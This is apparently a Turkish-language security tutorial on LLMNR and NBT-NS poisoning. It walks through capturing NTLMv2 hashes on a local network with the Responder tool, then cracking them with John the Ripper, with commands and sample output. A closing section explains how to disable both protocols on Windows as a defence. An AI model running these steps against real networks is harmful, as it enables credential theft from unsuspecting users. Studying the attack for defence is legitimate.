LLMNR ve NBT-NS Zehirlenmesi

Ne İşe Yarar?

Llmnr zehirlenmesi zafiyetinde saldırgan kullanıcı adı ve şifrelerin yerel ağda basit bir şekilde kendisine vermesini bekler. Llmnr ve nbt-ns görünüşte zararsız bir bileşen olarak görünür ancak aynı sub-netteki makinelerin dns zarar gördüğünde hostu tanımak için birbirlerine yarım etmesini sağlar. Bir makine özel bir hostu çözümlemeye çalışırken DNS çözümü başarısız olduğunda, makine yerel ağdaki diğer makinelere doğru adresi sormak için llmnr veya ntb-ns protokolleri üzerinden istekte bulunur. Bu zararsız bir teori gibi görünür ancak büyük bir güvenlik açığı ile saldırganlar bir sistemde tam erişim sağlamak için kullanabilirler.

Güvenlik Açığının Gerçekleşmesi

Bir saldırgan LLMNR protokolünün UDP/5355 portu veya NBT-NS UDP/137 portu üzerinden yapılan broadcast yayının ve cevabını dinleyebilir. Bu şekilde saldırgan talep edilen hostun adresini öğrenmiş olur.

Örnek bir saldırıyı ifade alacak olursak:

  1. Kurbanın makinesi \\printserver a bağlanmak isterken yanlışlıkla \\pintserver yazar.
  2. DNS sunucusu cevap olarak kurbana böyle bir hostu bulamadığı yanıtını verir.
  3. Kurban yerel ağındaki diğer makinelere \\pintserver in adresini bilen varmı diye sorar.
  4. Saldırgan yanıt olarak kurbana \\pintserver in adresini verir.
  5. Kurban saldırgana inanır ve saldırgana kendi kullanıcı adını ve NTMLv2 ‘sinin hashini verir.
  6. Saldırgan hashi kırarak şifreyi öğrenir.

Nasıl Exploit Edilir?

Bu açığı exploit etmek için responder isimli yazılımdan faydalanabiliriz. (https://github.com/SpiderLabs/Responder)

Exploit için yapılması gerekenler

  1. Responder isimli yazılım indirilir. git clone https://github.com/SpiderLabs/Responder.git
  2. Responder’in yardım menüsü çalıştırılır. Python Responder.py -hUygulama için birkaç zorunlu seçenek.-i [IP] : saldırganın ip adresi
    -b [0/1]: Basit HTTP kimlik doğrulaması için 1 veya NTLM kimlik doğrulaması için 0 ayarlanmalıdır.Bunlara ek olarak, zehirleme için birçok araç mevcuttur. http, https, smb, sql, ftp, ldap, dns, vb …

Şimdi yukarıdaki örnek saldırıyı gerçekleyelim.

  1. İlk olarak, 192.168.1.77 ip’li saldırgan responder’i “python Responder.py -i 192.168.1.77 -b 0” komutu ile başlatacaktır. #python Responder.py -i 192.168.1.77 -b 0
    NBT Name Service/LLMNR Answerer 1.0.
    To kill this script hit CRTL-C[+]NBT-NS & LLMNR responder started
    Global Parameters set
    Challenge set is: 1122334455667788
    WPAD Proxy Server is:On
    HTTP Server is:ON
    SMB Server is:ON
    SQL Server is:ON
    FTP Server is:ON
    DNS Server is:ON
    LDAP Server is:ON
    FingerPrint Module is:OFF
  2. Kurban 192.168.1.74 ip’si ile mevcut olmayan \\pintserver’a bağlanmayı deneyecektir.
  3. Kurban yerel ağındaki diğer makinelere \\pintserver in adresini bilen varmı diye soracaktır.
  4. Saldırgan bildiğini söyleyerek yanıtlar.
  5. Kurban da kendi kimlik bilgilerini saldırgana yollar.
  6. LLMNR poisoned answer sent to this IP: 192.168.1.74. The requested name was : pintserver.
    [+]SMB-NTLMv2 hash captured from : 192.168.1.74
    Domain is : WORKGROUP
    User is : meminoglu
    [+]SMB complete hash is : testuser::WORKGROUP:
  7. Responder programı kimlik bilgilerini yerel dizindeki SMB-NTLMv2-Client-192.168.1.74.txt adlı dosyada depolar.
  8. Saldırgan John The Ripper programını şifreyi kırmak için “john SMB-NTLMv2-Client-192.168.1.74.txt” komutu ile çalıştırır.
  9. John The Ripper ile şifre bulunmuş olunur.#john SMB-NTLMv2-Client-192.168.1.74.txt
    Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/64])
    ŞİFRE (testuser)
    guesses: 1 time: 0:00:00:00 DONE (Tue Nov 12 15:56:46 2013) c/s: 114620 trying: 123456 – crawford

NOT: john The Ripper bir şifre kırma programıdır. Hash’li şifreyi kırmak için yerine alternatif programlar kullanılabilir.

Nasıl Önüne Geçilir?

  1. Zafiyeti engellemek için llmnr ve nbt-ns protokollerini aynı anda devre dışı bırakmak gerekmektedir. Sadece llmnr’yi devre dışı bırakırsak nbt-ns otomatik olarak devreye girer.
  2. Ortak vlan iletişimini önlemek gerekir. Aynı ağdaki makinelerin birbirleri ile iletişimini sınırlamak büyük ölçüde yerel ağ saldırılarının başarısını azaltır.
  3. Sınırlı sayıda kullanıcı hesabı kullanmak gerekir. Bunu yapmak saldırıyı engellemek anlamına gelmez, ancak başarılı bir saldırının vereceği zararı sınırlar ve en azından saldırganın daha çok uğraşmasını sağlar.

Windowsta LLMNR servisini devre dışı bırakmak için:

  1. Gpedit.msc’yi çalıştırılır.
  2. Sırasıyla Local Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client klasörlerine girilir.
  3. DNS client klasörünün içinden “Turn Off Multicast Name Resolution” seçeneğine çift tıklanır ve “Enabled” seçeneği seçilir.


NetBIOS Name Servisini devre dışı bırakmak için:

  1. Denetim masası açılır.
  2. “Network and Internet” seçeneğinin ardından “View network status and tasks” seçeneğine girilir.
  3. “Change adapter settings” seçeneğine tıklanır
  4. “Local area connection” seçeneğine sağ tıklanıp properties seçilir.
  5. “Internet Protocol Version 4 (TCP/IPv4)” seçeneğine çift tıklandıktan sonra “Advanced” seçeneğine ardından da “WINS” etiketine tıklanır.
  6. “Disable NetBIOS over TCP/IP” seçeneğine tıklanarak NBT-NS devre dışı bırakılmış olur.

ya da

  1. regedit.exe çalıştırılır.
  2. Ardından sırası ile HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\ sekmelerine girilir.
  3. ‘0’ olan DWORD değerinin ‘2’ ile değiştirilmesi gerekir.

Eğer değer 0 olur ise default ayalar kalır ve bu sırada DHCP serveri üzerinden NetBIOS kullanılır. DWORD değeri ‘1’ olur ise TCP/IP üzerinden NetBIOS sağlanılmış olur.

KAYNAKLAR

https://github.com/SpiderLabs/Responder

http://www.surecloud.com/newsletter/local-network-vulnerabilities-llmnr-and-nbt-ns-poisoning

https://technet.microsoft.com/library/bb878128

https://www.trustwave.com/Resources/SpiderLabs-Blog/Introducing-Responder-1-0/

http://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response

http://www.openwall.com/john/